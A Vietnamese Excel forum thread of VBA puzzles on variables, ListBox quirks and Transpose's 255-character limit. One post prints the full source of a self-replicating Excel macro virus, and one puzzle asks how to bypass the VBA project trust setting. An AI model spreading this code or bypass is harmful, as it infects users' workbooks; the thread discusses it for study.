Đố vui về VBA!

Liên hệ QC

anhtuan1066

Thành viên gạo cội
Tham gia
10/3/07
Bài viết
5,802
Được thích
6,911
Nhằm cũng cố kiến thức về VBA cho các bạn mới bắt đầu và cả những bạn đang ứng dụng mà chưa hiểu nhiều về nó, tôi mở topic này với mong mõi qua những câu hỏi vui, các bạn sẽ nhận định lại sự hiểu biết cũa mình... (Kễ cã chính tôi cũng đang tập tành nên có rất nhiều cái chưa biết)
Mong rằng topic sẽ mang đến cho các bạn những khám phá thú vị với những cái tưỡng chừng như đã biết
Mong nhận dc bài viết về câu đố cũa các cao thủ! Còn các bạn mới thì đừng ngại khi đưa ra ý kiến cũa mình.. Có sai có sữa sẽ hoàn thiện!
Tôi xin mỡ màn trước bằng 1 câu hỏi đơn giãn
ANH TUẤN

CÂU HỎI 1: Tại sao biến K ko hoạt động?
Tôi muốn khi nhấn vào 1 button thì cell A1 sẽ tăng lên 1 đơn vị... Tôi đã làm như sau:
-Tạo 1 Command Button (nút nhấn thuộc thanh Control Toolbox), click phải chuột lên nút nhấn, chọn View code, rồi gõ vào đoạn code sau:
PHP:
Private Sub CommandButton1_Click()
   K = K + 1
   Range("A1").Value = K
End Sub
Ban đầu K chưa có gì, xem như =0, nhấn nút lần thứ nhất thì K dc tăng thêm 1, vậy K hiện tại sẽ bằng 1, và gán K vào cell A1 thì đương nhiên A1 sẽ =1... Nhấn nút lần 2, K lại dc tăng thêm 1 nên hiện tại K sẽ =2 và cell A1 cũng sẽ =2... vân vân.. từ đó diễn tiến tiếp...
Hi.. hi.. Điều này nghe qua có vẽ rất hợp lý, ấy thế mà khi nhấn nút nó chỉ hoạt động dc duy nhất 1 lần (A1 = 1) rồi thôi ko nhút nhít nữa...
Các bạn có thể giãi thích tại sao lại như thế ko? Tại sao những lần nhấn nút sau đó K lại ko tăng thêm tí nào (vì thực tế A1 vẫn cứ = 1 hoài) ?
ANH TUẤN
 
Chẳng biết có nhanh hơn hay không nhưng có một cách "ăn gian" nữa là như vầy:
[GPECODE=vb]Private Sub CommandButton1_Click()
ListBox1.ColumnCount = ListBox1.ColumnCount + 1
ListBox1.ColumnCount = ListBox1.ColumnCount - 1
End Sub[/GPECODE]

Đúng là nghiaphuc có nhiều "mưu mẹo" thiệt! Thôi, mình giải luôn nhé, được không nhỉ?
 
Upvote 0
Các ơn các Thầy đã tham gia cho vui.

Thật ra đáp án thì có rất nhiều cách để cho nó UnCheck nhanh chóng, nhưng đáp án mà tôi đưa ra thật thú vị vì nó chẳng ăn nhập gì đến dữ liệu hay kết cấu của ListBox! Đó là định dạng BackColor hoặc ForeColor của chính nó!

Chỉ với 1 trong 2 thủ tục dưới đây là có thể uncheck rất nhanh mà không ảnh hưởng gì đến màn hình hay thời gian:

Mã:
    [COLOR=#ff0000]ListBox1.BackColor = ListBox1.BackColor[/COLOR]

[COLOR=#008000]''Hoặc:
[/COLOR] 
   [COLOR=#0000ff]ListBox1.ForeColor = ListBox1.ForeColor[/COLOR]

Ngạc nhiên chưa! Khá thú vị với thủ tục này phải không? Anh Bill tạo cái ListBox cũng lắm bất ngờ thiệt đó! Trong khi ListView thì không bị bất cập vậy đâu!
 
Upvote 0
Các ơn các Thầy đã tham gia cho vui.

Thật ra đáp án thì có rất nhiều cách để cho nó UnCheck nhanh chóng, nhưng đáp án mà tôi đưa ra thật thú vị vì nó chẳng ăn nhập gì đến dữ liệu hay kết cấu của ListBox! Đó là định dạng BackColor hoặc ForeColor của chính nó!

Chỉ với 1 trong 2 thủ tục dưới đây là có thể uncheck rất nhanh mà không ảnh hưởng gì đến màn hình hay thời gian:

Mã:
    [COLOR=#ff0000]ListBox1.BackColor = ListBox1.BackColor[/COLOR]

[COLOR=#008000]''Hoặc:
[/COLOR] 
   [COLOR=#0000ff]ListBox1.ForeColor = ListBox1.ForeColor[/COLOR]

Ngạc nhiên chưa! Khá thú vị với thủ tục này phải không? Anh Bill tạo cái ListBox cũng lắm bất ngờ thiệt đó! Trong khi ListView thì không bị bất cập vậy đâu!

Đố cái gì mà cả đống đáp án, mà đáp án nào cũng... đúng thì đố làm đếch gì
Ẹc... Ẹc...
 
Upvote 0
Tiếp tục chủ đề chèn code vào file

Tiếp tục chủ đề chèn code vào file giống như bài 832 nhưng lần này hơi khác một chút
Viết 1 code VBA làm các nhiệm vụ sau đây:
- Chèn một Module mới vào file hiện hành
- Đặt tên cho Module mới này là "modTest"
- Chèn code vào module modTest với nội dung:

Mã:
Sub NDU()
MsgBox "Hello"
End Sub
- Run Sub NDU
--------------------------
Điều kiện ràng buộc:
- Không check mục "Trust access to the VBA project..." trong phần Macro Settings
- File hiện hành có password protect VBA (ta biết trước password này)
--------------------------
Cái vụ không check mục "Trust access..." này mới là ăn tiền nè, vì hổng check làm sao mà chèn code (dù có dùng macro 4). Ẹc... Ẹc...
Trò này trước đây đã bị đồng đội làm "lộ chiêu" nhưng... kệ, cứ đố (có khi người ta cũng chẳng để ý)
 
Upvote 0
Không cho luôn!
Ẹc... Ẹc... thế mới khoai chứ!
Em nhắc lại: CHÈN CODE VÀO FILE HIỆN HÀNH nha (hổng phải chèn vào file khác như lần trước)
Ẹc, ẹc....
- Tạo 1 module với code như trên.
- Chèn module đó vào file hiện hành.
- Đổi tên Module (Chưa làm được... ẹc, ẹc...)
 
Upvote 0
Tiếp tục chủ đề chèn code vào file giống như bài 832 nhưng lần này hơi khác một chút
Viết 1 code VBA làm các nhiệm vụ sau đây:
- Chèn một Module mới vào file hiện hành
- Đặt tên cho Module mới này là "modTest"
- Chèn code vào module modTest với nội dung:

Mã:
Sub NDU()
MsgBox "Hello"
End Sub
- Run Sub NDU
--------------------------
Điều kiện ràng buộc:
- Không check mục "Trust access to the VBA project..." trong phần Macro Settings
- File hiện hành có password protect VBA (ta biết trước password này)
--------------------------
Cái vụ không check mục "Trust access..." này mới là ăn tiền nè, vì hổng check làm sao mà chèn code (dù có dùng macro 4). Ẹc... Ẹc...
Trò này trước đây đã bị đồng đội làm "lộ chiêu" nhưng... kệ, cứ đố (có khi người ta cũng chẳng để ý)
Gợi ý: Hãy xem bài số 9 của topic này:
http://www.giaiphapexcel.com/forum/showthread.php?84941-Chuyển-định-dạng-thành-số
Trong đó mình có nói rằng đã phát hiện được 2 chiêu rất hay trong con virus mà tác giả đính kèm
Vậy nên: Bài đố vui này là áp dụng chiêu mà con virus đã áp dùng đấy
Các bạn cứ việc nghiên cứu file virus ở bài 1 rồi tự suy nghĩ nhé
Ẹc... Ẹc...
 
Upvote 0
Gợi ý: Hãy xem bài số 9 của topic này:
http://www.giaiphapexcel.com/forum/showthread.php?84941-Chuyển-định-dạng-thành-số
Trong đó mình có nói rằng đã phát hiện được 2 chiêu rất hay trong con virus mà tác giả đính kèm
Vậy nên: Bài đố vui này là áp dụng chiêu mà con virus đã áp dùng đấy
Các bạn cứ việc nghiên cứu file virus ở bài 1 rồi tự suy nghĩ nhé
Ẹc... Ẹc...
Mình chưa xem code của file đó.
Hôm trước vừa tải vể, anh AVG anh báo có kẹ và hỏi có xóa không, mình trả lời đại loại là cứ mặc kệ cho nó chạy (Sau khi đã cẩn thận vô hiệu hóa Macro). Thế mà ảnh âm thầm xóa hết code trong đó (còn nếu trả lời hãy bảo vệ tôi thì ảnh xóa nguyên file).

Vấn đề đặt ra là nếu thiết kế được như ndu yêu cầu, dựa theo code bài đó thì có thể cũng không sử dụng bình thường nếu không tắt AVG (hoặc một Anti virut trên máy) vì bị cho là Virut.

Đó là mình nói khi đưa vào ứng dụng, còn ở đây là đố vui nên các cao thủ hãy tham gia cho ... vui!
 
Upvote 0
Mình chưa xem code của file đó.
Hôm trước vừa tải vể, anh AVG anh báo có kẹ và hỏi có xóa không, mình trả lời đại loại là cứ mặc kệ cho nó chạy (Sau khi đã cẩn thận vô hiệu hóa Macro). Thế mà ảnh âm thầm xóa hết code trong đó (còn nếu trả lời hãy bảo vệ tôi thì ảnh xóa nguyên file).

Vấn đề đặt ra là nếu thiết kế được như ndu yêu cầu, dựa theo code bài đó thì có thể cũng không sử dụng bình thường nếu không tắt AVG (hoặc một Anti virut trên máy) vì bị cho là Virut.

Đó là mình nói khi đưa vào ứng dụng, còn ở đây là đố vui nên các cao thủ hãy tham gia cho ... vui!

Nếu anh cảm thấy "bất an" khi phải mở file ấy để nghiên cứu, vậy thì em copy toàn bộ code của nó lên đây để mọi người tham khảo nhé:
Mã:
Sub auto_open()
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
    C$ = Application.StartupPath
    M$ = Dir(C$ & "\" & "NEGS.XLS")
    If M$ = "NEGS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("foxz").Visible = True
    Sheets("foxz").Select
    Sheets("foxz").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = "infected by NEG Promo!"
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("foxz").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "NEGS.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "foxz" Then
        Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("foxz").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "NEGS.XLS!check_files"
    Case Else
End Select
End Sub
Nghiên cứu ra được gì là chuyện của mọi người
(mục đích cuối cùng là giải câu đố vui này)
 
Upvote 0
Hãy: nêu ví dụ về (hoặc nguyên nhân của) sự "chập chờn" của hàm Transpose của VBA, khi dùng để gán dictionary hoặc mảng xuống range. "Chập chờn" nghĩa là lúc bị lỗi, lúc không bị, trong khi dic.Count hoặc chiều dài mảng cố định, phiên bản Excel cố định.
 
Upvote 0
Hãy: nêu ví dụ về (hoặc nguyên nhân của) sự "chập chờn" của hàm Transpose của VBA, khi dùng để gán dictionary hoặc mảng xuống range. "Chập chờn" nghĩa là lúc bị lỗi, lúc không bị, trong khi dic.Count hoặc chiều dài mảng cố định, phiên bản Excel cố định.

Anh nói chung chung vậy thì biết sao mà trả lời hả anh!
Nói chung thì em hiếm khi dùng hàm TRANSPOSE mà luôn tự viết hàm riêng để xoay mảng
(cái mà em ghét nhất là TRANSPOSE tự "tài lanh" biến đổi hết dữ liệu trong mảng thành kiểu không mong muốn)
 
Upvote 0
Anh nói chung chung vậy thì biết sao mà trả lời hả anh!
Nói chung thì em hiếm khi dùng hàm TRANSPOSE mà luôn tự viết hàm riêng để xoay mảng
(cái mà em ghét nhất là TRANSPOSE tự "tài lanh" biến đổi hết dữ liệu trong mảng thành kiểu không mong muốn)

Ví dụ khi ta dùng vòng lặp để gán các giá trị (số hoặc chuỗi hoặc công thức) vào mảng có khi dùng TRANSPOSE được, có khi không, trong khi dùng vòng lặp đảo mảng đó thì gán xuống range luôn luôn được. Nguyên nhân thì có thể là nhiều nhưng mình chỉ cần nêu một (vì mình chỉ biết một, he he) .

Chú ý chữ màu đỏ, vì đôi lúc với dữ liệu hiện có thì code chạy êm nhưng có khi gặp dữ liệu khác thì ... tèo.

Trước đây nhiều người lầm tưởng do nhiều dòng, cột bị lỗi. Còn trường hợp tràn dòng hoặc cột bị lỗi thì tất nhiên rồi, lúc đó có dùng hàm đảo mảng cũng lỗi.
 
Upvote 0
Hãy: nêu ví dụ về (hoặc nguyên nhân của) sự "chập chờn" của hàm Transpose của VBA, khi dùng để gán dictionary hoặc mảng xuống range. "Chập chờn" nghĩa là lúc bị lỗi, lúc không bị, trong khi dic.Count hoặc chiều dài mảng cố định, phiên bản Excel cố định.
Có lần mình cũng bị vụ này và cố tìm ra nguyên nhân. Cuối cùng thì mình tự cho là nếu vượt quá 65536 phần tử thì hàm transpose bị lỗi.
 
Upvote 0
Ví dụ khi ta dùng vòng lặp để gán các giá trị (số hoặc chuỗi hoặc công thức) vào mảng có khi dùng TRANSPOSE được, có khi không, trong khi dùng vòng lặp đảo mảng đó thì gán xuống range luôn luôn được. Nguyên nhân thì có thể là nhiều nhưng mình chỉ cần nêu một (vì mình chỉ biết một, he he) .

Chú ý chữ màu đỏ, vì đôi lúc với dữ liệu hiện có thì code chạy êm nhưng có khi gặp dữ liệu khác thì ... tèo.

Trước đây nhiều người lầm tưởng do nhiều dòng, cột bị lỗi. Còn trường hợp tràn dòng hoặc cột bị lỗi thì tất nhiên rồi, lúc đó có dùng hàm đảo mảng cũng lỗi.

Thì anh giải luôn đi. Cái vụ "CÓ KHI" này ai biết đâu mà lần
 
Upvote 0
Thì anh giải luôn đi. Cái vụ "CÓ KHI" này ai biết đâu mà lần

Thế mới "khoai" chớ! Mình ít dùng nhưng cũng nên biết chớ hỉ?
Câu trả lời ngắn gọn: Chỉ cần có (ít nhất) một phần tử trong mảng vượt quá 255 ký tự mà dùng hàm transpose để xoay mảng sẽ bị lỗi.

Để thử nghiệm chúng ta cùng xét một ví dụ dùng Transpose sau:
Mã:
Sub test1()
    Dim i&, j$, k&
    Dim arr(1 To 10, 1 To 500)
    For i = 1 To 10
        For k = 1 To 500
            If k = 1 Then j = ""
           [COLOR=#ff0000] If k < 256 Then[/COLOR]
                j = Chr(64 + i) & j
                If i Mod 2 = 0 Then
                    arr(i, k) = "=LEN(RC[-1])"
                Else
                    arr(i, k) = j
                End If
           [COLOR=#ff0000] End If[/COLOR]
        Next
    Next
    Range("a1").Resize(500, 10) = Application.WorksheetFunction.Transpose(arr)
End Sub


Nếu như không có điều kiện màu đỏ ở trên sẽ gây lỗi => có một phần tử của mảng vượt quá 255 ký tự, dùng hàm Transpose sẽ lỗi.


Tuy nhiên khi thêm vòng lặp xoay mảng vào thì không cần điều khiện đó nữa:
Mã:
Sub test2()
    Dim i&, j$, k&
    Dim arr(1 To 10, 1 To 500), arr2(1 To 500, 1 To 10)


    For i = 1 To 10
        For k = 1 To 500
            If k = 1 Then j = ""
            [COLOR=#ff0000]'If k < 256 Then[/COLOR]
                j = Chr(64 + i) & j
                If i Mod 2 = 0 Then
                    arr(i, k) = "=LEN(RC[-1])"
                Else
                    arr(i, k) = j
                End If
            [COLOR=#ff0000]'End If[/COLOR]
        Next
    Next


    For i = 1 To 10
        For k = 1 To 500
            arr2(k, i) = arr(i, k)
        Next
    Next
    Range("a1").Resize(500, 10) = arr2
End Sub
 
Lần chỉnh sửa cuối:
Upvote 0
Thế mới "khoai" chớ! Mình ít dùng nhưng cũng nên biết chớ hỉ?
Câu trả lời ngắn gọn: Khi có một phần tử trong mảng vượt quá 255 ký tự mà dùng hàm transpose để xoay mảng sẽ bị lỗi.

Theo anh nói vậy thì TRANSPOSE sẽ LUÔN LUÔN bị lỗi chứ đâu phải là ĐÔI KHI chứ
Mà anh chỉ cần đưa ví dụ thế này có phải đơn giản không:
Mã:
Sub Test1()
  Dim lR As Long, lC As Long
  Dim arr(1 To 10, 1 To 5)
  For lC = 1 To 10
    For lR = 1 To 5
      arr(lC, lR) = String(25[COLOR=#ff0000]6[/COLOR], "a")
    Next
  Next
  Range("A1").Resize(5, 10) = WorksheetFunction.Transpose(arr)
End Sub
 
Lần chỉnh sửa cuối:
Upvote 0
Web KT

Bài viết mới nhất

Back
Top Bottom